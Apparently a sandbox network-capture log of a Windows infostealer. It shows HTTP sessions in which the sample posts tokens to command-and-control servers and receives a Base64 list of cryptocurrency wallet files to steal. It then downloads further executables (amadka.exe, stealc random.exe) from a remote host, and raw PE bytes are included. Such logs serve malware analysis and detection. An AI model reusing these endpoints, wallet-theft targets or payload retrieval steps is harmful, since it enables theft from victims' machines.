46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jun 26, 2024 08:16:28.154728889 CEST	462	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDGHJEHJJDAAAKEBGCF Host: 85.28.47.4 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 34 36 35 32 38 32 65 63 66 37 63 30 61 61 33 66 34 32 39 37 33 33 31 66 33 37 66 64 33 65 61 31 39 34 35 61 61 34 31 32 61 39 64 30 33 63 63 35 65 65 37 33 66 32 30 36 61 63 34 33 63 36 62 30 34 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 2d 2d 0d 0a Data Ascii: ------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="message"files------BGDGHJEHJJDAAAKEBGCF--
Jun 26, 2024 08:16:28.336767912 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 26, 2024 08:16:28.362395048 CEST	560	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGCFHIDAKECFHIEBFCG Host: 85.28.47.4 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 34 36 35 32 38 32 65 63 66 37 63 30 61 61 33 66 34 32 39 37 33 33 31 66 33 37 66 64 33 65 61 31 39 34 35 61 61 34 31 32 61 39 64 30 33 63 63 35 65 65 37 33 66 32 30 36 61 63 34 33 63 36 62 30 34 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="file"------HDGCFHIDAKECFHIEBFCG--
Jun 26, 2024 08:16:29.081717014 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 26, 2024 08:16:29.124376059 CEST	467	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIIJJJKEGIDGCBAFIJ Host: 85.28.47.4 Content-Length: 270 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 34 36 35 32 38 32 65 63 66 37 63 30 61 61 33 66 34 32 39 37 33 33 31 66 33 37 66 64 33 65 61 31 39 34 35 61 61 34 31 32 61 39 64 30 33 63 63 35 65 65 37 33 66 32 30 36 61 63 34 33 63 36 62 30 34 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="message"jbdtaijovg------IDHIIJJJKEGIDGCBAFIJ--
Jun 26, 2024 08:16:29.838325024 CEST	331	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:29 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 104 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 63 33 4c 6a 6b 78 4c 6a 63 33 4c 6a 67 78 4c 32 31 70 62 6d 55 76 59 57 31 68 5a 47 74 68 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 47 68 30 64 48 41 36 4c 79 38 33 4e 79 34 35 4d 53 34 33 4e 79 34 34 4d 53 39 6a 62 33 4e 30 4c 32 64 76 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 41 3d 3d Data Ascii: aHR0cDovLzc3LjkxLjc3LjgxL21pbmUvYW1hZGthLmV4ZXwwfDB8fGh0dHA6Ly83Ny45MS43Ny44MS9jb3N0L2dvLmV4ZXwwfDB8fA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49715	77.91.77.81	80	3792	C:\Users\user\Desktop\EZrw1nNIpG.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:29.847697020 CEST	77	OUT	GET /mine/amadka.exe HTTP/1.1 Host: 77.91.77.81 Cache-Control: no-cache
Jun 26, 2024 08:16:30.552114964 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:30 GMT Content-Type: application/octet-stream Content-Length: 1917952 Last-Modified: Wed, 26 Jun 2024 05:57:13 GMT Connection: keep-alive ETag: "667badb9-1d4400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1c 13 50 4a 58 72 3e 19 58 72 3e 19 58 72 3e 19 03 1a 3d 18 56 72 3e 19 03 1a 3b 18 f8 72 3e 19 8d 1f 3a 18 4a 72 3e 19 8d 1f 3d 18 4e 72 3e 19 8d 1f 3b 18 2d 72 3e 19 03 1a 3a 18 4c 72 3e 19 03 1a 3f 18 4b 72 3e 19 58 72 3f 19 8c 72 3e 19 c3 1c 37 18 59 72 3e 19 c3 1c c1 19 59 72 3e 19 c3 1c 3c 18 59 72 3e 19 52 69 63 68 58 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 57 59 50 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 dc 04 00 00 c4 01 00 00 00 00 00 00 e0 4b 00 00 10 00 00 00 f0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJXr>Xr>Xr>=Vr>;r>:Jr>=Nr>;-r>:Lr>?Kr>Xr?r>7Yr>Yr><Yr>RichXr>PELWYPfK@L2@VjpKK `@.rsrcp@.idata @ +@kcajosdi010@tlivgrwyK@.taggant0K""@
Jun 26, 2024 08:16:30.552124977 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 26, 2024 08:16:30.552263975 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 26, 2024 08:16:30.552272081 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 26, 2024 08:16:30.552283049 CEST	1236	IN	Data Raw: 0c 71 42 d3 96 3f db 3f 94 ef 90 70 f6 fb 4e e5 05 cf 64 5e 71 6f fd 5b 92 33 63 b0 a7 50 a9 b4 ce 69 9b d4 3d 8f 64 5c 52 3c 22 70 97 27 bb 6d 86 87 e8 37 03 67 c2 a5 0e e8 fc bd 62 b1 8c 44 06 eb 65 6b 87 71 4d 94 05 3d 66 a8 16 07 d1 d3 f4 e7 Data Ascii: qB??pNd^qo[3cPi=d\R<"p'm7gbDekqM=fw'-@3GM12%L`jb#O6)]Q)LT}c`Tr[]\|T{{M?lq?occG@M'sg@`}k=SqMlV
Jun 26, 2024 08:16:30.552293062 CEST	1236	IN	Data Raw: 05 23 07 cb 73 3d 65 d4 e1 bf ae 6c 00 6b e0 be 06 7c 61 cb 95 75 d1 67 b9 51 6e e2 73 1e 55 ba 42 c8 68 a9 c0 35 39 58 0b 38 85 4c 09 bf b9 f3 d2 e3 44 9f fa aa 00 9e d3 5c 61 6f a0 8f 67 c1 d6 35 b3 97 d3 76 24 b1 fe c7 76 a9 de af 29 bc 00 48 Data Ascii: #s=elk\|augQnsUBh59X8LD\aog5v$v)Hoq{^)?n$/@~p\rIp=v<\tiim~JdU(#B3w4?4':&T7%&+*p:upoaLKodI'Q?GO%
Jun 26, 2024 08:16:30.552607059 CEST	776	IN	Data Raw: 4a 10 5e c7 a6 d1 bb 0a 2a 28 89 6a 7e 67 6f f8 ad 28 fd ab c0 ff 29 20 8e 47 21 2a 04 3b a8 e5 45 a1 2a ee 8f cb 93 f3 8c 0f ac 70 d6 5c 7b fb ea e6 78 d3 48 18 05 c1 49 79 b2 32 d0 c6 ac cb bb 09 19 49 b8 eb 68 a2 73 9d 37 30 2e 4b 1c 84 c2 af Data Ascii: J^(j~go() G!;Ep\{xHIy2Ihs70.KU)hTU:9D+< w&&~X\|;ilM(~<)}LSnd}<{-$3?>7d\|-ZvV1>o
Jun 26, 2024 08:16:30.552623987 CEST	1236	IN	Data Raw: 05 cf ce df fa 79 be 8c 19 f8 fe 70 9a 62 41 e8 40 48 7f 0d 15 7a 98 14 ae c3 1a af fa c1 56 83 28 72 51 f4 22 80 5e 99 c4 2e ac bb de be 66 7d c6 bc 2b b1 5f e0 05 d4 64 01 a4 8f 4b 32 6e 4c 4c 2b ee a2 1e b9 15 e2 04 82 ad e4 80 a8 7d 93 79 1c Data Ascii: ypbA@HzV(rQ"^.f}+_dK2nLL+}y}S\|2n}Qq.*Ja";tc"xm}H?0p=_OGs\|WK1:N`&rt+X;h>p]aytlKa_%oa
Jun 26, 2024 08:16:30.552628040 CEST	224	IN	Data Raw: 8a c2 7c 5f f9 cf e4 83 94 78 bc 7c 98 d7 a2 1a b0 bb dd 85 cb d8 71 fc 06 aa 49 40 ba d6 9f 2a 2d 54 92 a2 88 ef 9f 8c 74 3d 51 64 69 71 c5 a7 2a ab 08 62 42 2b d8 9f 74 2e 05 69 f4 b5 c0 cf 91 fa bb d2 22 67 ae a3 87 32 85 29 74 26 c7 a2 ee 26 Data Ascii: \|_x\|qI@-Tt=QdiqbB+t.i"g2)t&&jCA{r(ysqi ?>CTUKEl]~\|+4_L9tZs7F\dYV,.(fvEau\hD+^4 iV'UPtv+
Jun 26, 2024 08:16:30.552635908 CEST	1236	IN	Data Raw: 68 ce a6 c4 0d 53 6f 68 bd 74 e0 7c 49 e6 73 f3 89 0f 5a 36 5b c1 74 c3 71 b7 10 b3 9b 99 fa f6 4d 23 58 6a f8 df aa 0a 8e 17 9b ce 49 93 3c 66 e3 fa c8 3a d6 75 7f fe b4 c5 00 73 5e 91 73 9e 9c bb 28 40 30 29 31 ee 32 ff 44 38 f5 74 25 d4 fb e3 Data Ascii: hSoht\|IsZ6[tqM#XjI<f:us^s(@0)12D8t%,*FU[Ys+cLc0mHL@44Q+V'dl+lU(^,ZGqS'0I8!6TbZaevKmg$it~ecAFuU
Jun 26, 2024 08:16:30.559140921 CEST	1236	IN	Data Raw: 15 f0 8d 99 97 83 14 cd 38 04 1f 76 e4 7f 7d 8c 62 3d be fe 38 6a 79 ff 92 ae 8a f5 c2 32 9d e8 93 c5 6b ef 21 db b1 99 38 cd 37 22 69 cf c4 aa 50 ab f1 10 25 cb fe ed 62 b8 ea e9 5e 01 78 65 88 ea 86 b4 21 f7 d2 42 25 2d cc 57 0c c1 6f 3b da 26 Data Ascii: 8v}b=8jy2k!87"iP%b^xe!B%-Wo;&Fwu[J;zmFgB3rt.w"4<Pn2gfE~9(9Nv,$n#E(FD-ce/\|S$qBahj<tW'$.Ks^/\|vaZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49730	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:41.353588104 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:16:42.034024954 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:16:42.034956932 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:16:42.247243881 CEST	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 64 0d 0a 20 3c 63 3e 31 30 30 30 30 32 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 62 30 64 35 64 61 32 63 38 35 30 36 37 33 62 35 64 37 36 61 63 31 63 65 38 63 63 64 34 61 36 65 37 66 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 5d <c>1000022001+++b5937c1a99d5f9db0d5da2c850673b5d76ac1ce8ccd4a6e7f1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49731	77.91.77.81	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:42.257330894 CEST	54	OUT	GET /stealc/random.exe HTTP/1.1 Host: 77.91.77.81
Jun 26, 2024 08:16:42.953139067 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:42 GMT Content-Type: application/octet-stream Content-Length: 2499584 Last-Modified: Wed, 26 Jun 2024 04:18:01 GMT Connection: keep-alive ETag: "667b9679-262400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 89 fa 75 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 0c db be 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 be 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$JdZaaa5ZaaRichPELuf!@@ 0=0@@@0!@@Pp# @@y#(@.data!!4@
Jun 26, 2024 08:16:42.953200102 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 da ee 40 82 67 07 1f d0 39 6e 09 c5 f4 cf e5 91 db dd 89 9c 85 e9 83 01 b5 Data Ascii: @g9nR"/fLs068os'vlafR?~DuBF^H9X*hEK+&camK5${PuYB!\<"gk4^5{
Jun 26, 2024 08:16:42.953253984 CEST	1236	IN	Data Raw: 7a 38 7a bb 20 bf d1 ba 58 a8 ff 2c f7 a0 61 b4 93 39 13 0c da 60 f0 23 5a 66 f4 3b 5a cb 46 2f b7 71 00 d1 f4 24 7d ce d0 15 13 ae fb d3 63 29 c2 34 1a 03 5f d3 f6 7c 1c 78 7e a1 e2 19 d7 7f 7b b0 bd 15 27 17 d8 32 2f c4 08 c5 ef 05 05 c3 87 6d Data Ascii: z8z X,a9`#Zf;ZF/q$}c)4_\|x~{'2/mf9[l]0#x%KQ#8s[v}4$NTZe(hg7@FLq>=E0)dH9!Zrv&"tO+-7~4H*7oLm(N
Jun 26, 2024 08:16:42.953288078 CEST	1236	IN	Data Raw: 31 16 42 49 5e 4c 41 de 88 87 a2 26 4f 51 a7 b7 b4 ca 18 96 51 65 18 23 fa 85 d5 6a 95 ff 8d b7 f0 a0 ce e5 ae 4e 79 d1 7f 67 bf ee 66 5d c0 b0 05 08 0c 34 95 6b e2 2b 27 6c 15 be 2d df f6 0d 46 6f 2c a3 15 af 9d ca 41 d2 37 75 bd 18 b5 f2 c0 07 Data Ascii: 1BI^LA&OQQe#jNygf]4k+'l-Fo,A7uKz92O3.IInMa1VR?1cL>ovM[^#x*bHo_ 8:=I!6UUO]w/7$T%c=}$W~:
Jun 26, 2024 08:16:42.953325033 CEST	1236	IN	Data Raw: e7 3b cc 27 7d 25 d3 04 17 92 df 9e b2 7b 25 24 3d 53 f0 4f 2a 88 5a 28 27 e7 36 1a 1b 8e e7 a2 95 01 06 7b 40 d3 0b b0 4d f3 40 75 6f d1 84 2c 59 31 a7 0c aa 1b 95 81 c6 2a 6b 10 d9 7d 5b fc 36 78 9a 1e 02 98 fb 8b fd 24 74 e4 aa 71 c6 12 03 ed Data Ascii: ;'}%{%$=SOZ('6{@M@uo,Y1k}[6x$tqKMZ,VwE]6IqykU]T%dPrX`Wfe&BT!omc)jnZ8 c
Jun 26, 2024 08:16:42.953360081 CEST	1236	IN	Data Raw: 6e 2c 25 bf 0d 4e 8e 76 a5 8d 57 a7 39 60 7f c9 49 a9 f5 f5 85 85 90 44 b2 41 a6 fa 91 3a 66 eb 7f 06 92 99 23 ba 6e c0 16 85 df a4 75 6e 97 a4 89 31 ed 7a dc de fb c6 00 a7 6c ba 43 1f 02 bc a9 9b 59 27 01 2a d8 e2 99 06 2e 6c e3 56 25 12 05 dc Data Ascii: n,%NvW9`IDA:f#nun1zlCY'*.lV%RL/46dyGcHsv!9cQc~g}YCG5paR4t4\|gP+Cz\|zF.F:X!&hY0{57a{lgHLn-o8M<
Jun 26, 2024 08:16:42.953396082 CEST	1236	IN	Data Raw: dc e7 26 aa 0f 53 ca 63 32 cd 8b e6 1e cf 8c 1a 44 e9 02 aa 54 29 09 eb 0d 1f 2f e3 56 68 89 7c b3 94 91 72 47 14 e9 14 c5 f2 4b 9e c2 d0 00 0e b7 0f 6b 74 a6 2f 34 7c c7 e0 f0 9e 5a 17 b5 c0 b8 11 19 aa 3b db 6d f6 e9 52 1d 7f a8 a6 16 9f e4 46 Data Ascii: &Sc2DT)/Vh\|rGKkt/4\|Z;mRF'tXpWlYkyY_\#,\:Q?cf+Hn$O(IczC<-aQG.fkD[$*^ch;H~Y<IpPX{jk=eMg)F=grt?2u0
Jun 26, 2024 08:16:42.953430891 CEST	1236	IN	Data Raw: a1 f3 a5 ba d7 cd d4 80 83 b2 46 e5 b8 e5 c9 3a f4 c1 25 e4 2a 41 03 aa 6f 08 af e8 2a d8 9b 83 fd eb d3 c0 2d c2 5b 8e ad 00 7e 12 c7 3e ef de df 1f 5e c7 40 01 cf c7 9b 33 da f5 ab e8 74 82 14 c0 3d 03 b3 fc 73 7e 23 b5 c7 66 b8 0d b3 68 31 93 Data Ascii: F:%Ao-[~>^@3t=s~#fh18O>#fm_pl 3k@l{=d3,f/OA'c["3DlqjUGIGvS\|rj<xhd'=BvpN\|JC
Jun 26, 2024 08:16:42.953464985 CEST	1236	IN	Data Raw: 5d 3e 03 e1 b8 57 73 84 a7 4d 33 3f 65 d6 a7 da 83 ec d0 a1 6d 9a a8 6a 4c 93 00 00 fc 41 29 94 a1 bb 92 03 a1 54 3f f4 8f b9 8c c8 98 4c 05 9a f5 67 14 d8 5d 5f 02 17 31 17 23 25 0a e6 22 98 d9 2a 71 80 73 c1 05 8c 2d c7 e8 0d fd e5 0a e8 14 e8 Data Ascii: ]>WsM3?emjLA)T?Lg]_1#%"*qs-Wo;x+vkC+(a[lOi$`zO<HZ@\|t9K%N:.IV4GDCF:[6vEE!!8i?qvj^M_tC8+O'xHa?
Jun 26, 2024 08:16:42.953500032 CEST	1236	IN	Data Raw: 93 92 a5 78 92 16 55 5d 9b 55 41 53 e1 37 60 25 c2 55 30 f7 b9 f1 10 50 37 1f 53 68 2a d8 ad 62 ca c3 3a 2a 42 7d 5b c2 47 a4 ee 72 13 ef 0c 8f 87 91 07 ba a5 34 bb 1f 0d 89 11 d0 c3 cc 13 51 28 69 e8 10 29 7e f1 45 48 3e 8d f9 64 c1 bf 31 c0 c5 Data Ascii: xU]UAS7`%U0P7Shb:B}[Gr4Q(i)~EH>d182$,kP.E<PFC4%Xg~j3[W*j&jy5B 1aO{JN!,'4}+bnD]iK@IlB$n(E^qjG
